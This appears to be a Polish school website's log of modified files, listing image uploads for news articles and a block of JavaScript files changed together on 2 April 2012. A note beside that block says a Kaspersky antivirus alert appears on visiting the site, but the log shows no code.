./media/editors/tinymce/jscripts/tiny_mce/plugins/autosave/langs/en.js 12.9kb 02 Apr 2012 17:41:30
./media/editors/tinymce/jscripts/tiny_mce/plugins/autoresize/editor_plugin_src.js 16.3kb 02 Apr 2012 17:41:27
./media/editors/tinymce/jscripts/tiny_mce/plugins/autolink/editor_plugin_src.js 17.1kb 02 Apr 2012 17:41:19
./media/editors/tinymce/jscripts/tiny_mce/plugins/autolink/editor_plugin.js 14kb 02 Apr 2012 17:41:16
./media/editors/tinymce/jscripts/tiny_mce/plugins/advlist/editor_plugin.js 14.4kb 02 Apr 2012 17:41:10
./media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/editor_plugin_src.js 13.3kb 02 Apr 2012 17:41:07
./media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/editor_plugin.js 12.7kb 02 Apr 2012 17:41:02
./media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/langs/en_dlg.js 13.4kb 02 Apr 2012 17:40:57
./media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/js/advlink.js 28.2kb 02 Apr 2012 17:40:54
./media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/langs/en_dlg.js 13.2kb 02 Apr 2012 17:40:47
./media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/js/image.js 24.6kb 02 Apr 2012 17:40:38
./media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/editor_plugin_src.js 13.4kb 02 Apr 2012 17:40:36
./media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/editor_plugin.js 12.3kb 02 Apr 2012 17:40:32
./media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/langs/en_dlg.js 12.2kb 02 Apr 2012 17:40:27
./media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/js/rule.js 13.1kb 02 Apr 2012 17:40:24
./media/editors/tinymce/jscripts/tiny_mce/langs/en.js 18.9kb 02 Apr 2012 17:40:22
./media/editors/codemirror/js/undo.js 26.9kb 02 Apr 2012 17:40:16
./media/editors/codemirror/js/tokenizephp.js 88.5kb 02 Apr 2012 17:40:06
./media/editors/codemirror/js/tokenize.js 13.9kb 02 Apr 2012 17:39:59
./media/editors/codemirror/js/select.js 35.9kb 02 Apr 2012 17:39:53
./media/editors/codemirror/js/parsexml.js 21.1kb 02 Apr 2012 17:39:48
./media/editors/codemirror/js/parsesparql.js 17kb 02 Apr 2012 17:39:45
./media/editors/codemirror/js/parsephphtmlmixed.js 16.1kb 02 Apr 2012 17:39:41
./media/editors/codemirror/js/parsephp.js 28.9kb 02 Apr 2012 17:39:37
./media/editors/codemirror/js/parsejavascript.js 26.2kb 02 Apr 2012 17:39:33
./media/editors/codemirror/js/parsehtmlmixed.js 14.5kb 02 Apr 2012 17:39:30
./media/editors/codemirror/js/parsedummy.js 12.9kb 02 Apr 2012 17:39:26
./media/editors/codemirror/js/parsecss.js 16.8kb 02 Apr 2012 17:39:23
./media/editors/codemirror/js/mirrorframe.js 14.2kb 02 Apr 2012 17:39:20
./media/editors/codemirror/js/highlight.js 13.9kb 02 Apr 2012 17:39:14
./media/editors/codemirror/js/editor.js 74.3kb 02 Apr 2012 17:39:08
./media/editors/codemirror/js/codemirror.js 23.9kb 02 Apr 2012 17:39:02
./media/editors/codemirror/js/codemirror-uncompressed.js 34.7kb 02 Apr 2012 17:38:59
./media/editors/codemirror/js/basefiles.js 55.6kb 02 Apr 2012 17:38:52
./media/com_finder/js/sliderfilter.js 17kb 02 Apr 2012 17:38:42
./media/com_finder/js/indexer.js 16.9kb 02 Apr 2012 17:38:38
./media/com_finder/js/highlighter.js 14.9kb 02 Apr 2012 17:38:34
./media/com_finder/js/finder.js 13kb 02 Apr 2012 17:38:32
./media/com_finder/js/autocompleter.js 28.4kb 02 Apr 2012 17:38:28
./media/com_akeeba/js/gui-helpers.js 41.2kb 02 Apr 2012 17:38:23
./media/com_akeeba/js/confwiz.js 21.4kb 02 Apr 2012 17:38:20
./media/com_akeeba/js/akeebaui.js 75.9kb 02 Apr 2012 17:38:16
./media/com_akeeba/js/akeebajqui.js 218.1kb 02 Apr 2012 17:38:12
./media/com_akeeba/js/akeebajq.js 103.7kb 02 Apr 2012 17:38:02
./images/plan_lekcji/stary_2011_2012_v1/scripts/plan.js 12.3kb 02 Apr 2012 17:37:56
./images/plan_lekcji/stary_2011_2012_v0/scripts/plan.js 12.1kb 02 Apr 2012 17:37:44
./images/plan_lekcji/scripts/powrot.js 12.4kb 02 Apr 2012 17:37:41
./components/com_jce/media/js/popup.js 13.1kb 02 Apr 2012 17:37:37
./components/com_jce/editor/tiny_mce/tiny_mce_popup.js 17.3kb 02 Apr 2012 17:37:35
./components/com_jce/editor/tiny_mce/tiny_mce.js 215.5kb 02 Apr 2012 17:37:29
./components/com_jce/editor/tiny_mce/themes/none/editor_template.js 14.1kb 02 Apr 2012 17:37:22
./components/com_jce/editor/tiny_mce/themes/advanced/editor_template.js 38.5kb 02 Apr 2012 17:37:19
./components/com_jce/editor/tiny_mce/themes/advanced/langs/en_dlg.js 13.8kb 02 Apr 2012 17:37:16
./components/com_jce/editor/tiny_mce/themes/advanced/langs/en.js 13.8kb 02 Apr 2012 17:37:12
./components/com_jce/editor/tiny_mce/themes/advanced/js/colorpicker.js 12.7kb 02 Apr 2012 17:37:10
./components/com_jce/editor/tiny_mce/themes/advanced/js/charmap.js 23.9kb 02 Apr 2012 17:37:08
./components/com_jce/editor/tiny_mce/plugins/xhtmlxtras/editor_plugin.js 15.5kb 02 Apr 2012 17:37:01
./components/com_jce/editor/tiny_mce/plugins/wordcount/editor_plugin.js 13.5kb 02 Apr 2012 17:36:48
./components/com_jce/editor/tiny_mce/plugins/textcase/editor_plugin.js 14.1kb 02 Apr 2012 17:36:39
./components/com_jce/editor/tiny_mce/plugins/table/editor_plugin.js 41.1kb 02 Apr 2012 17:36:36
./components/com_jce/editor/tiny_mce/plugins/table/langs/en_dlg.js 14kb 02 Apr 2012 17:36:32
./components/com_jce/editor/tiny_mce/plugins/table/js/table.js 31.5kb 02 Apr 2012 17:36:28
./components/com_jce/editor/tiny_mce/plugins/tabfocus/editor_plugin.js 13.4kb 02 Apr 2012 17:36:23
./components/com_jce/editor/tiny_mce/plugins/style/editor_plugin.js 13.2kb 02 Apr 2012 17:36:20
./components/com_jce/editor/tiny_mce/plugins/style/langs/en_dlg.js 13.5kb 02 Apr 2012 17:36:15
./components/com_jce/editor/tiny_mce/plugins/style/js/style.js 37.7kb 02 Apr 2012 17:36:08
./components/com_jce/editor/tiny_mce/plugins/source/js/editor.js 14.6kb 02 Apr 2012 17:35:58
./components/com_jce/editor/tiny_mce/plugins/source/js/codemirror/codemirror.js 24.1kb 02 Apr 2012 17:35:44
./components/com_jce/editor/tiny_mce/plugins/source/js/codemirror/base.js 121.9kb 02 Apr 2012 17:35:40
./components/com_jce/editor/tiny_mce/plugins/searchreplace/editor_plugin.js 13.5kb 02 Apr 2012 17:35:34
./components/com_jce/editor/tiny_mce/plugins/searchreplace/langs/en_dlg.js 12.9kb 02 Apr 2012 17:35:28
./components/com_jce/editor/tiny_mce/plugins/searchreplace/js/searchreplace.js 15kb 02 Apr 2012 17:35:23
./components/com_jce/editor/tiny_mce/plugins/print/editor_plugin.js 12.7kb 02 Apr 2012 17:35:19
./components/com_jce/editor/tiny_mce/plugins/paste/editor_plugin.js 32.1kb 02 Apr 2012 17:35:13
./components/com_jce/editor/tiny_mce/plugins/nonbreaking/editor_plugin.js 13.5kb 02 Apr 2012 17:35:05
./components/com_jce/editor/tiny_mce/plugins/lists/editor_plugin.js 25.9kb 02 Apr 2012 17:34:56
./components/com_jce/editor/tiny_mce/plugins/link/langs/en_dlg.js 12.3kb 02 Apr 2012 17:34:47
./components/com_jce/editor/tiny_mce/plugins/link/js/link.js 18.4kb 02 Apr 2012 17:34:45
./components/com_jce/editor/tiny_mce/plugins/layer/editor_plugin.js 16.2kb 02 Apr 2012 17:34:42
./components/com_jce/editor/tiny_mce/plugins/inlinepopups/editor_plugin.js 24kb 02 Apr 2012 17:34:32
./components/com_jce/editor/tiny_mce/plugins/imgmanager/js/imgmanager.js 22.6kb 02 Apr 2012 17:34:21
./components/com_jce/editor/tiny_mce/plugins/fullscreen/editor_plugin.js 14.9kb 02 Apr 2012 17:34:18
./components/com_jce/editor/tiny_mce/plugins/contextmenu/editor_plugin.js 13.5kb 02 Apr 2012 17:34:03
./components/com_jce/editor/tiny_mce/plugins/code/editor_plugin.js 17.6kb 02 Apr 2012 17:34:01
./components/com_jce/editor/tiny_mce/plugins/cleanup/editor_plugin.js 15.5kb 02 Apr 2012 17:33:58
./components/com_jce/editor/tiny_mce/plugins/browser/langs/en_dlg.js 12.2kb 02 Apr 2012 17:33:49
./components/com_jce/editor/tiny_mce/plugins/browser/js/browser.js 13.1kb 02 Apr 2012 17:33:47
./components/com_jce/editor/tiny_mce/plugins/autolink/editor_plugin.js 14.5kb 02 Apr 2012 17:33:39
./components/com_jce/editor/tiny_mce/plugins/article/editor_plugin.js 16.3kb 02 Apr 2012 17:33:36
./components/com_jce/editor/tiny_mce/plugins/article/langs/en_dlg.js 12.7kb 02 Apr 2012 17:33:34
./components/com_jce/editor/tiny_mce/plugins/advlist/editor_plugin.js 14.9kb 02 Apr 2012 17:33:30
./components/com_jce/editor/tiny_mce/langs/en_dlg.js 13.8kb 02 Apr 2012 17:33:28
./components/com_jce/editor/libraries/js/tree.js 17.5kb 02 Apr 2012 17:33:16
./components/com_jce/editor/libraries/js/plugin.js 35.9kb 02 Apr 2012 17:33:03
./components/com_jce/editor/libraries/js/help.js 13.8kb 02 Apr 2012 17:32:55
./components/com_jce/editor/libraries/js/extensions.js 13.1kb 02 Apr 2012 17:32:48
./components/com_jce/editor/libraries/js/jquery/jquery-ui-layout.js 75.1kb 02 Apr 2012 17:32:33
./components/com_jce/editor/libraries/js/jquery/jquery-ui-1.8.17.custom.min.js 142.8kb 02 Apr 2012 17:32:29
./components/com_jce/editor/libraries/js/extensions/mediaplayer.js 12.6kb 02 Apr 2012 17:32:15
./components/com_jce/editor/libraries/js/extensions/aggregator.js 13.5kb 02 Apr 2012 17:32:11
./components/com_jce/editor/extensions/popups/window/js/window.js 15.1kb 02 Apr 2012 17:32:09
./components/com_jce/editor/extensions/popups/widgetkit/js/widgetkit.js 13.9kb 02 Apr 2012 17:32:04
./components/com_jce/editor/extensions/browser/js/search.js 13.5kb 02 Apr 2012 17:31:43
./components/com_jce/editor/extensions/browser/js/file.js 13.7kb 02 Apr 2012 17:31:31
./components/com_jce/editor/extensions/aggregator/vimeo/js/vimeo.js 14.6kb 02 Apr 2012 17:31:24
./administrator/templates/hathor/js/template.js 15.8kb 02 Apr 2012 17:31:20
./administrator/templates/bluestork/js/menu.js 14.7kb 02 Apr 2012 17:31:18
./administrator/components/com_jce/media/js/users.js 12.4kb 02 Apr 2012 17:31:14
./administrator/components/com_jce/media/js/uploads.js 15.9kb 02 Apr 2012 17:31:09
./administrator/components/com_jce/media/js/update.js 18.1kb 02 Apr 2012 17:31:06
./administrator/components/com_jce/media/js/profiles.js 17.5kb 02 Apr 2012 17:31:01
./administrator/components/com_jce/media/js/preferences.js 12.5kb 02 Apr 2012 17:30:51
./administrator/components/com_jce/media/js/parameter.js 12.1kb 02 Apr 2012 17:30:48
./administrator/components/com_jce/media/js/legend.js 12.4kb 02 Apr 2012 17:30:45
./administrator/components/com_jce/media/js/jce.js 16.2kb 02 Apr 2012 17:30:42
./administrator/components/com_jce/media/js/installer.js 12.5kb 02 Apr 2012 17:30:40
./administrator/components/com_jce/media/js/extensions.js 20.8kb 02 Apr 2012 17:30:38
./administrator/components/com_jce/media/js/cpanel.js 13.2kb 02 Apr 2012 17:30:35
./administrator/components/com_jce/media/js/checklist.js 13.7kb 02 Apr 2012 17:30:30
./administrator/components/com_jce/media/js/browser.js 13.2kb 02 Apr 2012 17:30:27


2 kwietnia - po wejsciu na stronę dostaje alert z kasperkiego


-artykul
./images/aktualnosci/2011_2012/brd_2012_gminne/P3245011.jpg 142kb 27 Mar 2012 18:37:02
./images/aktualnosci/2011_2012/brd_2012_gminne/P3245008.jpg 130.7kb 27 Mar 2012 18:36:59
./images/aktualnosci/2011_2012/brd_2012_gminne/P3245007.jpg 139.1kb 27 Mar 2012 18:36:59
./images/aktualnosci/2011_2012/brd_2012_gminne/P3245006.jpg 142.5kb 27 Mar 2012 18:36:56
./images/aktualnosci/2011_2012/brd_2012_gminne/P3245005.jpg 131.8kb 27 Mar 2012 18:36:55
./images/aktualnosci/2011_2012/brd_2012_gminne/P3245003.jpg 128.9kb 27 Mar 2012 18:36:53
./images/aktualnosci/2011_2012/brd_2012_gminne/P3245002.jpg 133.4kb 27 Mar 2012 18:36:49
./images/aktualnosci/2011_2012/brd_2012_gminne/P3245001.jpg 150kb 27 Mar 2012 18:36:45
./images/aktualnosci/2011_2012/brd_2012_gminne/P3245000.jpg 141.6kb 27 Mar 2012 18:36:43
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244997.jpg 148.4kb 27 Mar 2012 18:36:41
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244993.jpg 155.4kb 27 Mar 2012 18:36:38
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244996.jpg 147.5kb 27 Mar 2012 18:36:37
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244994.jpg 152.1kb 27 Mar 2012 18:36:35
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244992.jpg 129.4kb 27 Mar 2012 18:36:31
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244975.jpg 146.3kb 27 Mar 2012 18:36:01
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244974.jpg 153.3kb 27 Mar 2012 18:35:59
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244909.jpg 160kb 27 Mar 2012 18:33:58
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244908.jpg 118.4kb 27 Mar 2012 18:33:55
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244907.jpg 124.9kb 27 Mar 2012 18:33:52
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244906.jpg 106.4kb 27 Mar 2012 18:33:51
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244905.jpg 96.9kb 27 Mar 2012 18:33:49
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244903.jpg 116.2kb 27 Mar 2012 18:33:46
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244901.jpg 121.8kb 27 Mar 2012 18:33:46
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244902.jpg 114.4kb 27 Mar 2012 18:33:45
./images/aktualnosci/2011_2012/brd_2012_gminne/P3244900.jpg 134.4kb 27 Mar 2012 18:33:40


-artykul
./images/aktualnosci/2011_2012/marzanna_2012/P3214889.jpg 258.4kb 22 Mar 2012 22:07:25
./images/aktualnosci/2011_2012/marzanna_2012/P3214888.jpg 261kb 22 Mar 2012 22:07:24
./images/aktualnosci/2011_2012/marzanna_2012/P3214887.jpg 236.3kb 22 Mar 2012 22:07:21
./images/aktualnosci/2011_2012/marzanna_2012/P3214883.jpg 197.4kb 22 Mar 2012 22:07:14
./images/aktualnosci/2011_2012/marzanna_2012/P3214886.jpg 210.7kb 22 Mar 2012 22:07:14
./images/aktualnosci/2011_2012/marzanna_2012/P3214880.jpg 239.4kb 22 Mar 2012 22:07:08
./images/aktualnosci/2011_2012/marzanna_2012/P3214878.jpg 240.9kb 22 Mar 2012 22:07:07
./images/aktualnosci/2011_2012/marzanna_2012/P3214877.jpg 247.2kb 22 Mar 2012 22:07:01
./images/aktualnosci/2011_2012/marzanna_2012/P3214872.jpg 231.3kb 22 Mar 2012 22:06:59
./images/aktualnosci/2011_2012/marzanna_2012/P3214865.jpg 218.4kb 22 Mar 2012 22:06:53
./images/aktualnosci/2011_2012/marzanna_2012/P3214858.jpg 244.7kb 22 Mar 2012 22:06:53
./images/aktualnosci/2011_2012/marzanna_2012/P3214857.jpg 246.9kb 22 Mar 2012 22:06:47
./images/aktualnosci/2011_2012/marzanna_2012/P3214856.jpg 180.8kb 22 Mar 2012 22:06:42
./images/aktualnosci/2011_2012/marzanna_2012/P3214853.jpg 273.8kb 22 Mar 2012 22:06:39
./images/aktualnosci/2011_2012/marzanna_2012/P3214855.jpg 213.3kb 22 Mar 2012 22:06:36
./images/aktualnosci/2011_2012/marzanna_2012/P3214851.jpg 262.9kb 22 Mar 2012 22:06:32
./images/aktualnosci/2011_2012/marzanna_2012/P3214850.jpg 247.5kb 22 Mar 2012 22:06:27
./images/aktualnosci/2011_2012/marzanna_2012/P3214848.jpg 269.5kb 22 Mar 2012 22:06:25
./images/aktualnosci/2011_2012/marzanna_2012/P3214846.jpg 136.2kb 22 Mar 2012 22:06:19
./images/aktualnosci/2011_2012/marzanna_2012/P3214843.jpg 125.2kb 22 Mar 2012 22:06:16
./images/aktualnosci/2011_2012/marzanna_2012/3.jpg 171.6kb 22 Mar 2012 22:05:39
./images/aktualnosci/2011_2012/marzanna_2012/12.jpg 167.7kb 22 Mar 2012 22:05:35
./images/aktualnosci/2011_2012/marzanna_2012/13.jpg 128.5kb 22 Mar 2012 22:05:34
./images/aktualnosci/2011_2012/marzanna_2012/11.jpg 147.1kb 22 Mar 2012 22:05:31
./images/aktualnosci/2011_2012/marzanna_2012/1.jpg 243.7kb 22 Mar 2012 22:05:29
./images/aktualnosci/2011_2012/marzanna_2012/10.jpg 171.6kb 22 Mar 2012 22:05:26


-artykul
./images/aktualnosci/2011_2012/zegnaj_zimo/P3205195.jpg 260.4kb 21 Mar 2012 16:13:46
./images/aktualnosci/2011_2012/zegnaj_zimo/P3205193.jpg 353.7kb 21 Mar 2012 16:13:41
./images/aktualnosci/2011_2012/zegnaj_zimo/P3205194.jpg 245.5kb 21 Mar 2012 16:13:41
./images/aktualnosci/2011_2012/zegnaj_zimo/P3205191.jpg 297.1kb 21 Mar 2012 16:13:34
./images/aktualnosci/2011_2012/zegnaj_zimo/P3205184.jpg 253.9kb 21 Mar 2012 16:12:59
./images/aktualnosci/2011_2012/zegnaj_zimo/P3205183.jpg 302.8kb 21 Mar 2012 16:12:58
./images/aktualnosci/2011_2012/zegnaj_zimo/P3205182.jpg 252.3kb 21 Mar 2012 16:12:49
./images/aktualnosci/2011_2012/zegnaj_zimo/P3205181.jpg 281.9kb 21 Mar 2012 16:12:48
./images/aktualnosci/2011_2012/zegnaj_zimo/P3205180.jpg 228.9kb 21 Mar 2012 16:12:41
./images/aktualnosci/2011_2012/zegnaj_zimo/P3205179.jpg 219.6kb 21 Mar 2012 16:12:39


-artykul
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135169.jpg 224.2kb 21 Mar 2012 16:04:53
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135167.jpg 222.1kb 21 Mar 2012 16:04:49
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135166.jpg 159.8kb 21 Mar 2012 16:04:47
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135165.jpg 163.1kb 21 Mar 2012 16:04:43
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135162.jpg 199.8kb 21 Mar 2012 16:04:40
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135164.jpg 155.3kb 21 Mar 2012 16:04:39
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135126.jpg 104.3kb 21 Mar 2012 16:04:10
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135123.jpg 126.8kb 21 Mar 2012 16:04:10
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135125.jpg 133.8kb 21 Mar 2012 16:04:06
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135122.jpg 150.9kb 21 Mar 2012 16:04:05
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135120.jpg 145.3kb 21 Mar 2012 16:04:01
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135114.jpg 93.7kb 21 Mar 2012 16:03:59
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135119.jpg 117.6kb 21 Mar 2012 16:03:57
./images/aktualnosci/2011_2012/wystawa_przyrodnicza/P3135113.jpg 98.5kb 21 Mar 2012 16:03:53



-artykul
./images/aktualnosci/2011_2012/konkurs_origami/P3204793.jpg 143.3kb 21 Mar 2012 16:03:53
./images/aktualnosci/2011_2012/konkurs_origami/P3204794.jpg 149.8kb 21 Mar 2012 16:03:52
./images/aktualnosci/2011_2012/konkurs_origami/P3204791.jpg 120.2kb 21 Mar 2012 16:03:47
./images/aktualnosci/2011_2012/konkurs_origami/P3204755.jpg 156.6kb 21 Mar 2012 16:03:47
./images/aktualnosci/2011_2012/konkurs_origami/P3204754.jpg 140kb 21 Mar 2012 16:03:44
./images/aktualnosci/2011_2012/konkurs_origami/P3204753.jpg 149kb 21 Mar 2012 16:03:41
./images/aktualnosci/2011_2012/konkurs_origami/P3204752.jpg 136.5kb 21 Mar 2012 16:03:40
./images/aktualnosci/2011_2012/konkurs_origami/P3204749.jpg 122.9kb 21 Mar 2012 16:03:36
./images/aktualnosci/2011_2012/konkurs_origami/P3204751.jpg 119.4kb 21 Mar 2012 16:03:36
./images/aktualnosci/2011_2012/konkurs_origami/P3204747.jpg 120.1kb 21 Mar 2012 16:03:32
./images/aktualnosci/2011_2012/konkurs_origami/P3204748.jpg 125.8kb 21 Mar 2012 16:03:31
./images/aktualnosci/2011_2012/konkurs_origami/P3204742.jpg 137.4kb 21 Mar 2012 16:03:27
./images/aktualnosci/2011_2012/konkurs_origami/P3204746.jpg 128.4kb 21 Mar 2012 16:03:27
./images/aktualnosci/2011_2012/konkurs_origami/P3204745.jpg 135.2kb 21 Mar 2012 16:03:23
./images/aktualnosci/2011_2012/konkurs_origami/P3204730.jpg 127.8kb 21 Mar 2012 16:02:51
./images/aktualnosci/2011_2012/konkurs_origami/P3204729.jpg 120.6kb 21 Mar 2012 16:02:47
./images/aktualnosci/2011_2012/konkurs_origami/P3204719.jpg 147.6kb 21 Mar 2012 16:02:47
./images/aktualnosci/2011_2012/konkurs_origami/P3204726.jpg 124.3kb 21 Mar 2012 16:02:45
./images/aktualnosci/2011_2012/konkurs_origami/P3204724.jpg 111.2kb 21 Mar 2012 16:02:42
./images/aktualnosci/2011_2012/konkurs_origami/P3204712.jpg 117.8kb 21 Mar 2012 16:02:40
./images/aktualnosci/2011_2012/konkurs_origami/P3204713.jpg 127kb 21 Mar 2012 16:02:37



-artykul
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205279.jpg 149.2kb 21 Mar 2012 16:00:42
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205278.jpg 129.9kb 21 Mar 2012 16:00:40
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205277.jpg 123kb 21 Mar 2012 16:00:38
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205276.jpg 133.1kb 21 Mar 2012 16:00:36
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205275.jpg 146.3kb 21 Mar 2012 16:00:36
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205274.jpg 131.4kb 21 Mar 2012 16:00:31
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205273.jpg 119.4kb 21 Mar 2012 16:00:30
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205267.jpg 105.5kb 21 Mar 2012 16:00:28
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205268.jpg 87.5kb 21 Mar 2012 16:00:26
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205266.jpg 129.2kb 21 Mar 2012 16:00:24
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205265.jpg 93.6kb 21 Mar 2012 16:00:21
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205263.jpg 134.6kb 21 Mar 2012 16:00:14
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205244.jpg 161.4kb 21 Mar 2012 15:59:35
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205243.jpg 119.2kb 21 Mar 2012 15:59:30
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205242.jpg 111.6kb 21 Mar 2012 15:59:30
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205240.jpg 116.1kb 21 Mar 2012 15:59:27
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205241.jpg 141.4kb 21 Mar 2012 15:59:26
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205239.jpg 114.5kb 21 Mar 2012 15:59:22
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205238.jpg 118.9kb 21 Mar 2012 15:59:21
./images/aktualnosci/2011_2012/dzien_wiosny2/P3205237.jpg 129.9kb 21 Mar 2012 15:59:18
./images/aktualnosci/2011_2012/dzien_wiosny1/P3204708.jpg 117.6kb 21 Mar 2012 15:56:29
./images/aktualnosci/2011_2012/dzien_wiosny1/P3204702.jpg 124.4kb 21 Mar 2012 15:56:27
./images/aktualnosci/2011_2012/dzien_wiosny1/P3204705.jpg 130.4kb 21 Mar 2012 15:56:26
./images/aktualnosci/2011_2012/dzien_wiosny1/P3204701.jpg 152.8kb 21 Mar 2012 15:56:23
./images/aktualnosci/2011_2012/dzien_wiosny1/P3204699.jpg 129kb 21 Mar 2012 15:56:22
./images/aktualnosci/2011_2012/dzien_wiosny1/P3204700.jpg 91.8kb 21 Mar 2012 15:56:20
./images/aktualnosci/2011_2012/dzien_wiosny1/P3204694.jpg 137.9kb 21 Mar 2012 15:56:18



-podmiana grafik na stronie
./images/bankrut_gif/sklepik1.gif 5.7kb 20 Mar 2012 17:51:17
./images/bankrut_gif/sklepik2.gif 6.4kb 20 Mar 2012 17:50:57
./proba/michal.jpg 677.8kb 11 Mar 2012 20:53:52


-artykul
./images/aktualnosci/2011_2012/konkurs_fotograficzny_rozdanie/P3074670.jpg 112.4kb 10 Mar 2012 19:17:34
./images/aktualnosci/2011_2012/konkurs_fotograficzny_rozdanie/P3074671.jpg 109.4kb 10 Mar 2012 19:17:34
./images/aktualnosci/2011_2012/konkurs_fotograficzny_rozdanie/P3074669.jpg 113.1kb 10 Mar 2012 19:17:31
./images/aktualnosci/2011_2012/konkurs_fotograficzny_rozdanie/P3074668.jpg 186.2kb 10 Mar 2012 19:17:31
./images/aktualnosci/2011_2012/konkurs_fotograficzny_libusza/5.jpg 126.9kb 10 Mar 2012 17:21:09
./images/aktualnosci/2011_2012/konkurs_fotograficzny_libusza/3.jpg 158.2kb 10 Mar 2012 17:21:05
./images/aktualnosci/2011_2012/konkurs_fotograficzny_libusza/70.jpg 321.5kb 10 Mar 2012 17:21:01
./images/aktualnosci/2011_2012/konkurs_fotograficzny_libusza/2.jpg 166.2kb 10 Mar 2012 17:21:00
./images/aktualnosci/2011_2012/konkurs_fotograficzny_libusza/69.jpg 99.4kb 10 Mar 2012 17:20:54
./images/aktualnosci/2011_2012/konkurs_fotograficzny_libusza/68.jpg 75.7kb 10 Mar 2012 17:20:50
./images/aktualnosci/2011_2012/konkurs_fotograficzny_libusza/1.jpg 218.1kb 10 Mar 2012 17:20:50
./images/aktualnosci/2011_2012/konkurs_fotograficzny_libusza/67.jpg 86kb 10 Mar 2012 17:20:48
./images/aktualnosci/2011_2012/konkurs_fotograficzny_libusza/66.jpg 89.4kb 10 Mar 2012 17:20:45



-wrzucilem jakas grafike
./proba/strong.jpg 561.7kb 08 Mar 2012 09:17:21


-artykul
./images/aktualnosci/2011_2012/kulig_regietow/DSC02732.jpg 283.6kb 07 Mar 2012 09:27:57
./images/aktualnosci/2011_2012/kulig_regietow/DSC02731.jpg 137.4kb 07 Mar 2012 09:27:53
./images/aktualnosci/2011_2012/kulig_regietow/DSC02730.jpg 207.7kb 07 Mar 2012 09:27:52
./images/aktualnosci/2011_2012/kulig_regietow/100_2982.jpg 153.3kb 07 Mar 2012 09:26:40
./images/aktualnosci/2011_2012/kulig_regietow/100_2977.jpg 207kb 07 Mar 2012 09:26:38
./images/aktualnosci/2011_2012/kulig_regietow/100_2970.jpg 219kb 07 Mar 2012 09:26:35
./images/aktualnosci/2011_2012/kulig_regietow/100_2967.jpg 290.8kb 07 Mar 2012 09:26:30
./images/aktualnosci/2011_2012/kulig_regietow/100_2966.jpg 281.6kb 07 Mar 2012 09:26:29
./images/aktualnosci/2011_2012/kulig_regietow/100_2960.jpg 285.7kb 07 Mar 2012 09:26:21
./images/aktualnosci/2011_2012/kulig_regietow/100_2959.jpg 280.5kb 07 Mar 2012 09:26:20



wrzucilem baneer akcji w ktorej bierzemy udzial
./images/programy/warto_byc_dobrym/WBD_billboard_szkoly_750x100.swf 44.9kb 06 Mar 2012 23:01:49


artykul
./images/aktualnosci/2011_2012/dyskoteka_karnawalowa/IMG_0416.jpg 175.9kb 04 Mar 2012 18:16:06
./images/aktualnosci/2011_2012/dyskoteka_karnawalowa/IMG_0367.jpg 170.3kb 04 Mar 2012 18:16:04
./images/aktualnosci/2011_2012/dyskoteka_karnawalowa/IMG_0366.jpg 182kb 04 Mar 2012 18:16:02
./images/aktualnosci/2011_2012/dyskoteka_karnawalowa/IMG_0363.jpg 204.6kb 04 Mar 2012 18:16:01
./images/aktualnosci/2011_2012/dyskoteka_karnawalowa/IMG_0362.jpg 170.2kb 04 Mar 2012 18:15:55
./images/aktualnosci/2011_2012/dyskoteka_karnawalowa/IMG_0361.jpg 218.8kb 04 Mar 2012 18:15:53
./images/aktualnosci/2011_2012/dyskoteka_karnawalowa/IMG_0351.jpg 163.8kb 04 Mar 2012 18:15:51
./images/aktualnosci/2011_2012/dyskoteka_karnawalowa/IMG_0350.jpg 102.4kb 04 Mar 2012 18:15:46
